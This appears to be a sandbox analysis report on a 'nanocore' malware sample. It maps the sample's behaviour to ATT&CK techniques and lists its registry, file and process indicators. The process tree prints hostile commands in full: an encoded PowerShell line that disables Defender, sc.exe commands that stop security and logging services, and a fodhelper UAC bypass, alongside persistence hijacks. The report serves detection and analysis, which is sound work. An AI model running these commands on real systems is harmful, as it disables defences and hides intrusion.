nanocore | edc883a2c3ad333c74754f9d1490c683cc12458df8a7509ed09086b61b73b114

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	90phutzal.tv_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	90phutzal.tv_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	90phutzal.tv_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	90phutzal.tv_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	90phutzal.tv_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2096	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	90phutzal.tv_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	90phutzal.tv_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	90phutzal.tv_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	90phutzal.tv_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1560	net.exe
1648	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3556	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	90phutzal.tv_nano.exe
File created	C:\Windows\system32\sysupdate.exe	90phutzal.tv_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	90phutzal.tv_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	90phutzal.tv_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	90phutzal.tv_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	90phutzal.tv_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2444	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	90phutzal.tv_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
1444	90phutzal.tv_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3136	sc.exe
1176	sc.exe
4588	sc.exe
260	sc.exe
1564	sc.exe
3532	sc.exe
4768	sc.exe
4388	sc.exe
4236	sc.exe
4560	sc.exe
2640	sc.exe
1588	sc.exe
5080	sc.exe
2528	sc.exe
2544	sc.exe
3788	sc.exe
3288	sc.exe
1612	sc.exe
4296	sc.exe
404	sc.exe
2116	sc.exe
3056	sc.exe
1828	sc.exe
4392	sc.exe
4036	sc.exe
2736	sc.exe
2784	sc.exe
4048	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
748	cmd.exe
1892	cmd.exe
4156	cmd.exe
4152	cmd.exe
2584	cmd.exe
2312	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	90phutzal.tv_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	90phutzal.tv_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3196	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2412	ipconfig.exe
4224	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4948	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4172	vssadmin.exe
3780	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\WallpaperStyle = "2"	90phutzal.tv_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe"	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	90phutzal.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	90phutzal.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command	90phutzal.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\.pdf\ = "PDFBotnet"	90phutzal.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\90phutzal.tv_nano.exe\" \"%1\""	90phutzal.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	90phutzal.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	90phutzal.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open\command\DelegateExecute	90phutzal.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell\open	90phutzal.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings\shell	90phutzal.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\ms-settings	90phutzal.tv_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4720	schtasks.exe
5060	schtasks.exe
396	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe
1444	90phutzal.tv_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1444	90phutzal.tv_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	1444	90phutzal.tv_nano.exe
Token: SeIncreaseQuotaPrivilege	2476	WMIC.exe
Token: SeSecurityPrivilege	2476	WMIC.exe
Token: SeTakeOwnershipPrivilege	2476	WMIC.exe
Token: SeLoadDriverPrivilege	2476	WMIC.exe
Token: SeSystemProfilePrivilege	2476	WMIC.exe
Token: SeSystemtimePrivilege	2476	WMIC.exe
Token: SeProfSingleProcessPrivilege	2476	WMIC.exe
Token: SeIncBasePriorityPrivilege	2476	WMIC.exe
Token: SeCreatePagefilePrivilege	2476	WMIC.exe
Token: SeBackupPrivilege	2476	WMIC.exe
Token: SeRestorePrivilege	2476	WMIC.exe
Token: SeShutdownPrivilege	2476	WMIC.exe
Token: SeDebugPrivilege	2476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2476	WMIC.exe
Token: SeRemoteShutdownPrivilege	2476	WMIC.exe
Token: SeUndockPrivilege	2476	WMIC.exe
Token: SeManageVolumePrivilege	2476	WMIC.exe
Token: 33	2476	WMIC.exe
Token: 34	2476	WMIC.exe
Token: 35	2476	WMIC.exe
Token: 36	2476	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2476	WMIC.exe
Token: SeSecurityPrivilege	2476	WMIC.exe
Token: SeTakeOwnershipPrivilege	2476	WMIC.exe
Token: SeLoadDriverPrivilege	2476	WMIC.exe
Token: SeSystemProfilePrivilege	2476	WMIC.exe
Token: SeSystemtimePrivilege	2476	WMIC.exe
Token: SeProfSingleProcessPrivilege	2476	WMIC.exe
Token: SeIncBasePriorityPrivilege	2476	WMIC.exe
Token: SeCreatePagefilePrivilege	2476	WMIC.exe
Token: SeBackupPrivilege	2476	WMIC.exe
Token: SeRestorePrivilege	2476	WMIC.exe
Token: SeShutdownPrivilege	2476	WMIC.exe
Token: SeDebugPrivilege	2476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2476	WMIC.exe
Token: SeRemoteShutdownPrivilege	2476	WMIC.exe
Token: SeUndockPrivilege	2476	WMIC.exe
Token: SeManageVolumePrivilege	2476	WMIC.exe
Token: 33	2476	WMIC.exe
Token: 34	2476	WMIC.exe
Token: 35	2476	WMIC.exe
Token: 36	2476	WMIC.exe
Token: SeIncBasePriorityPrivilege	1444	90phutzal.tv_nano.exe
Token: SeDebugPrivilege	3556	tasklist.exe
Token: SeDebugPrivilege	1772	whoami.exe
Token: SeDebugPrivilege	4224	NETSTAT.EXE
Token: SeIncreaseQuotaPrivilege	2404	WMIC.exe
Token: SeSecurityPrivilege	2404	WMIC.exe
Token: SeTakeOwnershipPrivilege	2404	WMIC.exe
Token: SeLoadDriverPrivilege	2404	WMIC.exe
Token: SeSystemProfilePrivilege	2404	WMIC.exe
Token: SeSystemtimePrivilege	2404	WMIC.exe
Token: SeProfSingleProcessPrivilege	2404	WMIC.exe
Token: SeIncBasePriorityPrivilege	2404	WMIC.exe
Token: SeCreatePagefilePrivilege	2404	WMIC.exe
Token: SeBackupPrivilege	2404	WMIC.exe
Token: SeRestorePrivilege	2404	WMIC.exe
Token: SeShutdownPrivilege	2404	WMIC.exe
Token: SeDebugPrivilege	2404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2404	WMIC.exe
Token: SeRemoteShutdownPrivilege	2404	WMIC.exe
Token: SeUndockPrivilege	2404	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1444	90phutzal.tv_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 4576	1444	90phutzal.tv_nano.exe	85
PID 1444 wrote to memory of 3136	1444	90phutzal.tv_nano.exe	87
PID 1444 wrote to memory of 3056	1444	90phutzal.tv_nano.exe	89
PID 1444 wrote to memory of 1828	1444	90phutzal.tv_nano.exe	91
PID 1444 wrote to memory of 4392	1444	90phutzal.tv_nano.exe	93
PID 1444 wrote to memory of 4388	1444	90phutzal.tv_nano.exe	95
PID 1444 wrote to memory of 4236	1444	90phutzal.tv_nano.exe	97
PID 1444 wrote to memory of 2544	1444	90phutzal.tv_nano.exe	99
PID 1444 wrote to memory of 4560	1444	90phutzal.tv_nano.exe	101
PID 1444 wrote to memory of 3788	1444	90phutzal.tv_nano.exe	103
PID 1444 wrote to memory of 3288	1444	90phutzal.tv_nano.exe	105
PID 1444 wrote to memory of 1176	1444	90phutzal.tv_nano.exe	107
PID 1444 wrote to memory of 4036	1444	90phutzal.tv_nano.exe	109
PID 1444 wrote to memory of 4588	1444	90phutzal.tv_nano.exe	111
PID 1444 wrote to memory of 260	1444	90phutzal.tv_nano.exe	167
PID 1444 wrote to memory of 2640	1444	90phutzal.tv_nano.exe	115
PID 1444 wrote to memory of 2736	1444	90phutzal.tv_nano.exe	117
PID 1444 wrote to memory of 1612	1444	90phutzal.tv_nano.exe	119
PID 1444 wrote to memory of 1564	1444	90phutzal.tv_nano.exe	121
PID 1444 wrote to memory of 1588	1444	90phutzal.tv_nano.exe	123
PID 1444 wrote to memory of 5080	1444	90phutzal.tv_nano.exe	125
PID 1444 wrote to memory of 2528	1444	90phutzal.tv_nano.exe	127
PID 1444 wrote to memory of 4296	1444	90phutzal.tv_nano.exe	129
PID 1444 wrote to memory of 404	1444	90phutzal.tv_nano.exe	131
PID 1444 wrote to memory of 3532	1444	90phutzal.tv_nano.exe	133
PID 1444 wrote to memory of 2520	1444	90phutzal.tv_nano.exe	134
PID 1444 wrote to memory of 2784	1444	90phutzal.tv_nano.exe	136
PID 1444 wrote to memory of 4048	1444	90phutzal.tv_nano.exe	138
PID 1444 wrote to memory of 4172	1444	90phutzal.tv_nano.exe	192
PID 1444 wrote to memory of 2476	1444	90phutzal.tv_nano.exe	142
PID 1444 wrote to memory of 5060	1444	90phutzal.tv_nano.exe	144
PID 1444 wrote to memory of 396	1444	90phutzal.tv_nano.exe	146
PID 2520 wrote to memory of 2864	2520	fodhelper.exe	147
PID 1444 wrote to memory of 1892	1444	90phutzal.tv_nano.exe	154
PID 1444 wrote to memory of 4156	1444	90phutzal.tv_nano.exe	156
PID 1444 wrote to memory of 4152	1444	90phutzal.tv_nano.exe	157
PID 1444 wrote to memory of 2584	1444	90phutzal.tv_nano.exe	159
PID 1444 wrote to memory of 748	1444	90phutzal.tv_nano.exe	161
PID 1444 wrote to memory of 2312	1444	90phutzal.tv_nano.exe	163
PID 1444 wrote to memory of 4720	1444	90phutzal.tv_nano.exe	166
PID 1444 wrote to memory of 2444	1444	90phutzal.tv_nano.exe	168
PID 1444 wrote to memory of 2056	1444	90phutzal.tv_nano.exe	169
PID 4152 wrote to memory of 3556	4152	cmd.exe	170
PID 4156 wrote to memory of 4948	4156	cmd.exe	171
PID 748 wrote to memory of 2412	748	cmd.exe	172
PID 2312 wrote to memory of 4224	2312	cmd.exe	173
PID 2584 wrote to memory of 1772	2584	cmd.exe	174
PID 1892 wrote to memory of 3780	1892	cmd.exe	175
PID 1892 wrote to memory of 2404	1892	cmd.exe	176
PID 1444 wrote to memory of 4444	1444	90phutzal.tv_nano.exe	177
PID 1444 wrote to memory of 2096	1444	90phutzal.tv_nano.exe	178
PID 1444 wrote to memory of 4768	1444	90phutzal.tv_nano.exe	180
PID 1444 wrote to memory of 2116	1444	90phutzal.tv_nano.exe	181
PID 1444 wrote to memory of 4916	1444	90phutzal.tv_nano.exe	182
PID 1444 wrote to memory of 3196	1444	90phutzal.tv_nano.exe	184
PID 4444 wrote to memory of 1912	4444	net.exe	188
PID 1444 wrote to memory of 1560	1444	90phutzal.tv_nano.exe	190
PID 1444 wrote to memory of 2944	1444	90phutzal.tv_nano.exe	191
PID 2944 wrote to memory of 2272	2944	net.exe	194
PID 1560 wrote to memory of 1648	1560	net.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
"C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3136
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4392
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4236
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2544
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3288
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:1176
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:4588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:2640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:2736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:1612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1564
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:1588
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:5080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:2528
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3532
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe"
    3⤵
    PID:2864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
